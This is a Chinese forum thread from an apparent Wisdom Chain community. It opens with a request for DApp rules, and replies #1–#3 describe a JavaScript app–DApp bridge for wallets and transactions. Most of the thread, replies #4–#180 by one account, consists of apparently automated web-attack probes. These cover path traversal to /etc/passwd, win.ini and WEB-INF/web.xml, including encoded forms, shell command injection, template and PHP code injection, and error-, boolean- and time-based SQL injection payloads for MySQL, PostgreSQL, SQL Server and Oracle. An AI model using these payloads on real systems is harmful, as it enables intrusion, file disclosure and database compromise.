求一个DAPP规则说明

WDC · whaleroad · 发布于 01-26 01:53 · 680 次阅读

求一个DAPP规则说明

共收到 180 条回复:

Poland · #1 · 01-26 02:14

dapp规则分为两类

  1. dapp获取app数据:通过挂载自己的方法到全局,接收app发来的数据
  1. app获取dapp数据:通过设置导航来给app数据

 

以上便是dapp规则的使用方法,具体原理请看这篇

Shawn · #2 · 01-26 05:10

1. The version number of the app requested by the front end

js://GetAppVersion

 

2. App returns the current version

javascript:window.sendAppVersion(‘ version : Int’)

 

3. Front End Request for Local Wallet List  

js://GetAllWallet  

 

4. app call returns wallet data to front end, jsonArray = [{name:name, address:wallet address, pubkeyhash:public key hash}]

javascript:window.getAppHtmlPukey('jsonArray.toString()' )

 

5.Called after the front end selects the wallet, returning the selected wallet address,data =the selected wallet address

js://ChooseWalletCallback?data=xxx

 

 

6. Transaction processing: Front-end call, data is unsigned transaction, called after successful broadcast of transaction signature  

js://setTransaction?data=xxx

 

 

7. Return Data to Front End

javascript:window.getAppTransResult( 'json')json = {code = 0, data= null,msg = ""}  

code=0 Indicate success

data = {

transactionHash: "transaction hash",

blockHash:"block hash",

blockHeight:"block height",

fee:"Service Charge"

}

 

8.Refresh Page Function, App-side Call

javascript:window.initGetMatrix()

Shawn · #3 · 01-26 05:12

URL:https://wisdom-chain.medium.com/dapp-api-rule-document-1-0-released-142eb025dfa4

 

1、前端请求App的版本号;js://GetAppVersion 

2、App 回传 当前版本;javascript:window.sendAppVersion(‘ version : Int’) 

3、前端请求获取本地钱包列表;js://GetAllWallet

 4、App 调用回传钱包数据给前端;jsonArray = [{name: 名字, address: 钱包地址, pubkeyhash: 公钥hash}]javascript:window.getAppHtmlPukey('jsonArray.toString()' )

 5、前面选择钱包后调用,回传选择钱包地址  data为选择的钱包地址;js://ChooseWalletCallback?data=xxx 

6、事务处理: 前端调用, data为未签名的事务;js://setTransaction?data=xxx 

7、事务签名广播成功后调用,回传数据给前端;javascript:window.getAppTransResult( 'json')json = {code = 0, data= null,msg = ""}  code=0 表示成功data = {

transactionHash: "事务hash",

blockHash:"区块hash",

blockHeight:"区块高度",

fee:"手续费"

}

 8、刷新页面函数,App端调用。javascript:window.initGetMatrix()

xsjyBldb · #4 · 03-30 09:26

555

xsjyBldb · #5 · 03-30 09:26

555

xsjyBldb · #6 · 03-30 09:27

555

xsjyBldb · #7 · 04-08 10:38

555

xsjyBldb · #8 · 04-08 10:45
xsjyBldb · #9 · 04-08 10:45

555

xsjyBldb · #10 · 04-08 10:45

../../../../../../../../../../../../../../../../../../etc/passwd

xsjyBldb · #11 · 04-08 10:45

./../../../../../../../../../../../../../../../../../../etc/passwd

xsjyBldb · #12 · 04-08 10:45

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

xsjyBldb · #13 · 04-08 10:45

555 expr 846778572 + 874017107

xsjyBldb · #14 · 04-08 10:45

555|expr 888072408 + 914205667

xsjyBldb · #15 · 04-08 10:45

opvctoqxdxhtoayfuwqh

xsjyBldb · #16 · 04-08 10:45

555$(expr 941027403 + 894914068)

xsjyBldb · #17 · 04-08 10:45

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd

xsjyBldb · #18 · 04-08 10:45

../../../../../../etc/passwd

xsjyBldb · #19 · 04-08 10:45

555

xsjyBldb · #20 · 04-08 10:45

/*1*/{{820385633+843424805}}

xsjyBldb · #21 · 04-08 10:45

${@var_dump(md5(516497672))};

xsjyBldb · #22 · 04-08 10:45

./../../../../../../etc/passwd

xsjyBldb · #23 · 04-08 10:45

'-var_dump(md5(813331674))-'

xsjyBldb · #24 · 04-08 10:45

555

xsjyBldb · #25 · 04-08 10:45

555

xsjyBldb · #26 · 04-08 10:45

555&set /A 930518259+874807922

xsjyBldb · #27 · 04-08 10:45

555

xsjyBldb · #28 · 04-08 10:45

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

xsjyBldb · #29 · 04-08 10:45

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd

xsjyBldb · #30 · 04-08 10:45

555

xsjyBldb · #31 · 04-08 10:45

555

xsjyBldb · #32 · 04-08 10:45

/etc/passwd

xsjyBldb · #33 · 04-08 10:45

555

xsjyBldb · #34 · 04-08 10:45

555

xsjyBldb · #35 · 04-08 10:45

555

xsjyBldb · #36 · 04-08 10:45

%2fetc%2fpasswd

xsjyBldb · #37 · 04-08 10:45

555

xsjyBldb · #38 · 04-08 10:45

555

xsjyBldb · #39 · 04-08 10:45

%u2215etc%u2215passwd

xsjyBldb · #40 · 04-08 10:45

555

xsjyBldb · #41 · 04-08 10:45

${861567270+831026311}

xsjyBldb · #42 · 04-08 10:45

555

xsjyBldb · #43 · 04-08 10:45

555

xsjyBldb · #44 · 04-08 10:45

expr 949867789 + 826432117

xsjyBldb · #45 · 04-08 10:45

555

xsjyBldb · #46 · 04-08 10:45

555

xsjyBldb · #47 · 04-08 10:45

555

xsjyBldb · #48 · 04-08 10:45

555

xsjyBldb · #49 · 04-08 10:45

555

xsjyBldb · #50 · 04-08 10:45

555

xsjyBldb · #51 · 04-08 10:45

555

xsjyBldb · #52 · 04-08 10:45

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini

xsjyBldb · #53 · 04-08 10:45

.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini

xsjyBldb · #54 · 04-08 10:45

555

xsjyBldb · #55 · 04-08 10:45

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini

xsjyBldb · #56 · 04-08 10:45

555

xsjyBldb · #57 · 04-08 10:45

555

xsjyBldb · #58 · 04-08 10:45

555

xsjyBldb · #59 · 04-08 10:45

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini

xsjyBldb · #60 · 04-08 10:45

${959800879+847535091}

xsjyBldb · #61 · 04-08 10:45

${(922555874+899943225)?c}

xsjyBldb · #62 · 04-08 10:45

555

xsjyBldb · #63 · 04-08 10:45

555

xsjyBldb · #64 · 04-08 10:45

555

xsjyBldb · #65 · 04-08 10:45

#set($c=906194232+993398688)${c}$c

xsjyBldb · #66 · 04-08 10:45

<%- 872614009+971247581 %>

xsjyBldb · #67 · 04-08 10:45

555

xsjyBldb · #68 · 04-08 10:45

..\..\..\..\..\..\Windows\win.ini

xsjyBldb · #69 · 04-08 10:45

555

xsjyBldb · #70 · 04-08 10:45

555

xsjyBldb · #71 · 04-08 10:45

.\..\..\..\..\..\..\Windows\win.ini

xsjyBldb · #72 · 04-08 10:45

555

xsjyBldb · #73 · 04-08 10:45

555

xsjyBldb · #74 · 04-08 10:45

555

xsjyBldb · #75 · 04-08 10:45

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini

xsjyBldb · #76 · 04-08 10:45

555

xsjyBldb · #77 · 04-08 10:45

555

xsjyBldb · #78 · 04-08 10:45

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini

xsjyBldb · #79 · 04-08 10:45

555

xsjyBldb · #80 · 04-08 10:45

../../../../../../../../../../../../../../../../../../Windows/win.ini

xsjyBldb · #81 · 04-08 10:45

555

xsjyBldb · #82 · 04-08 10:45

./../../../../../../../../../../../../../../../../../../Windows/win.ini

xsjyBldb · #83 · 04-08 10:45

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini

xsjyBldb · #84 · 04-08 10:45

555

xsjyBldb · #85 · 04-08 10:45

555

xsjyBldb · #86 · 04-08 10:45

555

xsjyBldb · #87 · 04-08 10:45

555

xsjyBldb · #88 · 04-08 10:45

555

xsjyBldb · #89 · 04-08 10:45

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini

xsjyBldb · #90 · 04-08 10:45

555

xsjyBldb · #91 · 04-08 10:45

555

xsjyBldb · #92 · 04-08 10:45

555

xsjyBldb · #93 · 04-08 10:45

555

xsjyBldb · #94 · 04-08 10:46

555

xsjyBldb · #95 · 04-08 10:45

555

xsjyBldb · #96 · 04-08 10:46

555

xsjyBldb · #97 · 04-08 10:46

555'and/**/extractvalue(1,concat(char(126),md5(1193449888)))and'

xsjyBldb · #98 · 04-08 10:46

555"and/**/extractvalue(1,concat(char(126),md5(1689632456)))and"

xsjyBldb · #99 · 04-08 10:46

extractvalue(1,concat(char(126),md5(1646806141)))

xsjyBldb · #100 · 04-08 10:46

../../../../../../Windows/win.ini

xsjyBldb · #101 · 04-08 10:46

555'and(select'1'from/**/cast(md5(1985632228)as/**/int))>'0

xsjyBldb · #102 · 04-08 10:46

555/**/and/**/cast(md5('1653795150')as/**/int)>0

xsjyBldb · #103 · 04-08 10:46

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1797501038')))

xsjyBldb · #104 · 04-08 10:46

./../../../../../../Windows/win.ini

xsjyBldb · #105 · 04-08 10:46

555'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1583314441')))>'0

xsjyBldb · #106 · 04-08 10:46

555鎈'"\(

xsjyBldb · #107 · 04-08 10:46

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini

xsjyBldb · #108 · 04-08 10:46

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini

xsjyBldb · #109 · 04-08 10:46

WEB-INF/web.xml

xsjyBldb · #110 · 04-08 10:46

555'"\(

xsjyBldb · #111 · 04-08 10:46

WEB-INF/web.xml;555

xsjyBldb · #112 · 04-08 10:46

../WEB-INF/web.xml

xsjyBldb · #113 · 04-08 10:46

../WEB-INF/web.xml;555

xsjyBldb · #114 · 04-08 10:46

../../WEB-INF/web.xml

xsjyBldb · #115 · 04-08 10:46

../../WEB-INF/web.xml;555

xsjyBldb · #116 · 04-08 10:46

../../../WEB-INF/web.xml

xsjyBldb · #117 · 04-08 10:46

../../../WEB-INF/web.xml;555

xsjyBldb · #118 · 04-08 10:46

../../../../WEB-INF/web.xml

xsjyBldb · #119 · 04-08 10:46

../../../../WEB-INF/web.xml;555

xsjyBldb · #120 · 04-08 10:46

555/**/and+4=4

xsjyBldb · #121 · 04-08 10:46

555/**/and+3=7

xsjyBldb · #122 · 04-08 10:46

555

xsjyBldb · #123 · 04-08 10:46

555'and'o'='o

xsjyBldb · #124 · 04-08 10:46

555

xsjyBldb · #125 · 04-08 10:46

555'and'i'='p

xsjyBldb · #126 · 04-08 10:46

555"and"z"="z

xsjyBldb · #127 · 04-08 10:46

555

xsjyBldb · #128 · 04-08 10:46

555"and"v"="v

xsjyBldb · #129 · 04-08 10:46

555

xsjyBldb · #130 · 04-08 10:46

(select*from(select+sleep(0)union/**/select+1)a)

xsjyBldb · #131 · 04-08 10:46

555

xsjyBldb · #132 · 04-08 10:46

(select*from(select+sleep(3)union/**/select+1)a)

xsjyBldb · #133 · 04-08 10:46

555

xsjyBldb · #134 · 04-08 10:46

555

xsjyBldb · #135 · 04-08 10:46

555

xsjyBldb · #136 · 04-08 10:46

555

xsjyBldb · #137 · 04-08 10:46

555'and(select*from(select+sleep(0))a/**/union/**/select+1)='

xsjyBldb · #138 · 04-08 10:46

555'and(select*from(select+sleep(3))a/**/union/**/select+1)='

xsjyBldb · #139 · 04-08 10:46

555"and(select*from(select+sleep(0))a/**/union/**/select+1)="

xsjyBldb · #140 · 04-08 10:46

555

xsjyBldb · #141 · 04-08 10:46

555

xsjyBldb · #142 · 04-08 10:46

555

xsjyBldb · #143 · 04-08 10:46

555"and(select*from(select+sleep(3))a/**/union/**/select+1)="

xsjyBldb · #144 · 04-08 10:46

555"and(select*from(select+sleep(4))a/**/union/**/select+1)="

xsjyBldb · #145 · 04-08 10:46

555/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

xsjyBldb · #146 · 04-08 10:46

555/**/and(select+1/**/from/**/pg_sleep(3))>0/**/

xsjyBldb · #147 · 04-08 10:46

555

xsjyBldb · #148 · 04-08 10:46

555

xsjyBldb · #149 · 04-08 10:46

555

xsjyBldb · #150 · 04-08 10:46

555'/**/and(select'1'from/**/pg_sleep(0))>'0

xsjyBldb · #151 · 04-08 10:46

555'/**/and(select'1'from/**/pg_sleep(3))>'0

xsjyBldb · #152 · 04-08 10:46

555/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

xsjyBldb · #153 · 04-08 10:46

555

xsjyBldb · #154 · 04-08 10:46

555/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/

xsjyBldb · #155 · 04-08 10:46

555

xsjyBldb · #156 · 04-08 10:46

555

xsjyBldb · #157 · 04-08 10:46

555

xsjyBldb · #158 · 04-08 10:46

555'and(select+1)>0waitfor/**/delay'0:0:0

xsjyBldb · #159 · 04-08 10:46

555

xsjyBldb · #160 · 04-08 10:46

555

xsjyBldb · #161 · 04-08 10:46

555

xsjyBldb · #162 · 04-08 10:46

555

xsjyBldb · #163 · 04-08 10:46

555

xsjyBldb · #164 · 04-08 10:46

555

xsjyBldb · #165 · 04-08 10:46

555

xsjyBldb · #166 · 04-08 10:46

555/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('d',0)

xsjyBldb · #167 · 04-08 10:46

555/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('o',3)

xsjyBldb · #168 · 04-08 10:46

555'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',0)='m

xsjyBldb · #169 · 04-08 10:46

555'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',3)='f

xsjyBldb · #170 · 04-08 10:46

555

xsjyBldb · #171 · 04-08 10:46

555

xsjyBldb · #172 · 04-08 10:46

555

xsjyBldb · #173 · 04-08 10:46

555

xsjyBldb · #174 · 04-08 10:46

555

xsjyBldb · #175 · 04-08 10:46

555

xsjyBldb · #176 · 04-08 10:46

555

xsjyBldb · #177 · 04-08 10:46

555

xsjyBldb · #178 · 04-08 10:46

555

xsjyBldb · #179 · 04-08 10:46

555

xsjyBldb · #180 · 04-08 10:46

555

需要登录发表回复, 如果你还没有账号请点击这里 注册

公告

Wisdom Chain Tech F.是WDC技术爱好者的交流聚集地。

以为社区和技术爱好者的共同权益服务为宗旨,坚持正确的舆论导向。

发布以下内容:

  1. 违反国家相关法律及社区规则,恶意灌水、色情低俗、敏感反动、垃圾广告的。
  2. 不符合技术论坛定位,虚假新闻的。
  3. 使用煽动性语言故意夸大新闻事实、误导网友、挑起争端的。
  4. 带有恶意灌水,内容重复,影响帖子浏览的。
  5. 抄袭别人或带有知识产权内容,涉及网友个人隐私的。

统计信息

  • 社区成员: 210 人
  • 帖子数: 1122 个
  • 回帖数: 10926 条